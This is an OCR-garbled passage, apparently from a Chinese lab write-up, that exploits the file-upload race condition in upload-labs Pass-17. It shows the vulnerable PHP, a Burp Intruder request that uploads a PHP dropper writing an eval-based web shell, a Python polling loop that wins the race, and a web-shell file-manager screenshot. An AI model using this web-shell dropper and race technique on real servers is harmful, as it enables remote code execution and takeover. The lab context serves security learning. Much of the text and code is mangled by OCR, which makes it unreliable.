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$is_upload = false;
$msg = null;

if(isset($ POST[ 'submit'])){
$ext_arr = array('jpg','png','gif');
$file name = $ FILES['upload file']['name'];
$temp_file = $ FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){ //SEHRFEXI
if(in_array($file_ext,$ext_arr)){ // AW
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file ext;
rename($upload_file, $img_path); //&HE
$is_upload = true;
telse{
$msg = "RAW L. jpg|.png| . gifBEC M
unlink($upload file); //FE&EME
)
telse{
$msg = ' BAEHEE!
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img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(
if (move_uploaded file($temp_file,$img_path)) {
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X B LB burpsuite —H B4 shell , ARJEET python ATV .
¥ FFiEH] <?php fputs(fopen('shell.php','w'), '<?php @eval($_POST["test"])?>");?> JF| intruder R P ANME K E L.

7:rgel ] Positions [ Payloads [Oplions 1

2 | Payload Positions Start attack
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.
Attack type: | Sniper j
POST /upload-labs/Pass-17/index.php HTTP/1.1 Add §

Host: 192.168.181.203:8014 L

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0 Clear §
Accept: text/html,application/xhtml+xml,application/xml,q=0.9,*/*q=0.8

Accept-Language: zh {—sutod
Accept-Encoding: gzip, deflate Refresh
Referer: http://192.168.181.203:8014/upload-labs/Pass-17/index.php ——
Cookie: pass=17; PHPSESSID=1cf53ltv01uni3vsqjg3s43Ik6; security=high; dmwh%5Fuser%5Fip=192%2E168%2E181%2E1; ASPSESSIONIDSCQDSSQC=DPOPMINCKLMBFENLHPPPPKBP
X-Forwarded-For: 1.1.1.1

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data; boundary=---------------------------, 20161556825089

Content-Length: 362

————————————————————————————— 2061556825089
Content-Disposition: form-data; name="upload file"; filename="test.php”
Content-Type: application/octet-stream

<?php fputs(fopen('shell. php''w"),'<?php @eval($_POST["test'])?>"),?>

————————————————————————————— 2061556825089
Content-Disposition: form-data; name="submit"

————————————————————————————— 20161556825089--

B python BIZAERZY 1 test.php , —HEBRIIAIE.

import requests
url = "http://192.168.181.203:8014/upload-1labs/upload/test.php"
while True
html = requests.get(url
if html.status_code == 200
print("0K"
break
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gianxin_test

C:\Python37\python3.exe "D:/Programs/Pycharm for python/tools/qianxin_test.py'
oK

Process finished with exit code ©
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*~ Request URL: http://192.168.181.2083:80814/upload-labs/upload/shell.php
Request method: GET
Remote address; 127.8.8.1:8888@

Status code: @ 2088 0K Edit and Resend  Raw h
Version: HTTP/1.1
Filter headers
HERTERI,
(] C192.168.181.203 X
) C:\Inetpub‘\wwwroot ‘\upload4abs-01'\upload{abs* R EE]
192.168.181.203 BR(26).37#E(11) =ty fidigl Fols @it =
B & Inetpub L) oss 2019-10-19 22:52:07 O 77T
= 3 4 2019-10-19 22:52:07 0 0777
= 1] upload{abs-01 ol T
= T docker 2019-10-19 22:52:07 0 a77?
-l css Rling 2019-10-19 22:52:07 0 0777
il doc Sl js 2019-10-19 22:52:07 0 077r
. docker
3 img = Pass—01 2019-10-19 22:52:07 0 0777
O s ) Pass—02 2019-10-19 22:52:07 0 a77?
] Pass01 £ Pass-03 2019-10-19 22:52:07 0 0777
] Pass-02 )
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>checkExtension()

$this

1
>resultUpload(

>checkSize();

M
>resultUpload




T (RS Thisoscl SKE V] afexs stci=——RTE{

$ret = $this->checkFileExists();
1L (RS cetil=—N1TR} 1
return $this->resultUpload( $ret );

$ret = $this->move();
if( $ret—T="1T71
return $this->resultUpload( $ret );

if( $this->cls_rename_file == 1 ){

$ret = $this-}renameFile();
if( $ret 1= 1 ){
return $this->resultUpload( $ret );
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